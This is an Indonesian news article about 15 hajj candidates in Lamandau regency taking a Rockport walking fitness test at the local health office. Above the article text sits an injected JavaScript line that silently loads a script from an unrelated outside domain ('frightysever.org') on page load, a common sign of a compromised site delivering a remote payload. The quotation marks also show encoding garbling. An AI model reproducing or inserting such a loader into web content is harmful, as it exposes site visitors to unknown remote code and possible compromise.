(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Calon Jemaah Haji Lamandau 2023 Ikuti Tes Kebugaran

KANALKALIMANTAN.COM , NANGA BULIK – Untuk mempersiapkan stamina calon jemaah haji (CJH) Kabupaten Lamandau mengadakan tes kebugaran.

Ada 15 orang CJH pemberangkatan tahun 2023 yang mengikuti tes kebugaran dengan metode rockport di Dinas Kesehatan Kabupaten Lamandau, Rabu (8/2/2023) siang.

Kegiatan ini dimulai dari pendaftaran, pengarahan dari petugas, pemanasan, pemeriksaan kesehatan awal, jalan cepat, dan pemeriksaan kesehatan akhir.

Setelah melalukan pemanasan, seluruh CJH diperiksa oleh tim dari kesehatan haji Dinas Kesehatan Lamandau, meliputi pengukuran tekanan darah, gula darah, kolesterol, tinggi badan, berat badan, denyut nadi dan wawancara mengenai riwayat kesehatan.

Kepala Dinas Kesehatan Kabupaten Lamandau melalui Fraditha Hernanda, Pengelola Program Kesehatan Haji Subkoordinasi Penyakit Tidak Menular Dinkes Lamandau mengatakan, tes tersebut merupakan salah satu tes kemampuan dengan metode tess jalan Rockport.

â€œTes jalan merupakan salah satu metode yang biasa dipakai untuk menilai kesanggupan kardiovaskuler saat beraktivitas fisik dengan mengestimasi kapasitas aerobik,â€ jelasnya.

Seseorang yang dites diminta berjalan secepat mungkin, sesuai kesanggupan sejauh 1 mil lalu dihitung waktu tempuhnya dalam menit dan denyut nadinya dalam satu menit.

Selain itu, CJH diminta berlari kecil atau berjalan cepat sejauh 1,5 kilometer, dimaksudkan untuk mengetahui kondisi kebugarannya.

Tes ini dapat dilakukan pada semua orang, baik pria maupun wanita. Setelah aman maka bisa melanjutkan untuk tahap selanjutnya.

Fraditha Hernanda menambahkan, pemeriksaan kesehatan Tahap 1 di RSUD Lamandau sudah dilaksanakan peserta yang hadir sebanyak 15 orang.

Kegiatan rockport atau cek kebugaran CJH LamandauÂ diikuti oleh 14 orang, 1 orang tidak ikut. Diketahui 9 orang adalah yang tidak berangkat tahun lalu, ditambah 6 calon jemaah haji jadi total keseluruhan 15 orang. (Kanalkalimantan.com/habibullah)

Reporter: habi
Editor: kk